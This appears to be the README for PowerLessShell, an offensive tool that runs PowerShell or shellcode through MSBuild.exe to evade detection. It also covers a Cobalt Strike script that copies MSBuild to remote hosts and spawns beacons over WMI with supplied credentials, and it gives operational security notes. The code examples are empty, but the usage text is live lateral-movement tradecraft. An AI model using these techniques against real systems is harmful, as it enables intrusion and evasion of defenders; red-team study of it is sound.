# PowerLessShell
PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe.
You can also execute raw shellcode using the same approach.
# MSBuild conditions
MSBuild support condition that can be used to avoid running code if the condition is not met.
```
```
The malicious code will only be executed if the current user domain is "RingZer0"
Condition supports several other formats that can be used to create more conditional execution check.
```
```
Property Functions also expose interesting data.

# Usage
PowerLessShell use commandline argument to generate the final file.
```
$ python PowerLessShell.py -h
PowerLessShell Less is More

usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
[-arch ARCH] [-condition CONDITION]
optional arguments:
-h, --help show this help message and exit
-type TYPE Payload type (shellcode/powershell) default to:
shellcode
-source SOURCE Path to the source file (raw shellcode or powershell

-arch ARCH Shellcode architecture (32/64) default to: 32
-condition CONDITION XML Compiling condition default (Check for USERDOMAIN)
default is: none

# Cobalt Strike Aggressor script (wmi_msbuild.cna)
By Alyssa (ramen0x3f) and MrT-F
### Set Up
* Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
* If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
* Load script into Cobalt Strike
### Usage
```
check_msbuild -target TARGET Verify .NET 4.0.30319 is installed (should see "Status OK")
[-user user] [-pass pass] Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles
rename_msbuild -target TARGET Copy MSBuild.exe.
-msbuild newname
[-path C:\new\path] Default - C:\Users\Public\
[-user domain\username] Specifying user/pass spawns cmd on remote host.
[-pass password]
wmi_msbuild -target TARGET Spawn new beacon.
-listener LISTENER
[-payload new_file] Default - [a-zA-Z].tmp
[-directory new_dir] Default - C:\Users\Public\
[-msbuild alt_msbuild_location]
[-user USERNAME] [-pass PASSWORD]
[-manualdelete] Switch doesn't auto delete payload.
```
### OpSec Notes
Spawns cmd.exe on the target system if
* ManualDelete switch is not set
* rename_msbuild is run with a username/password specified
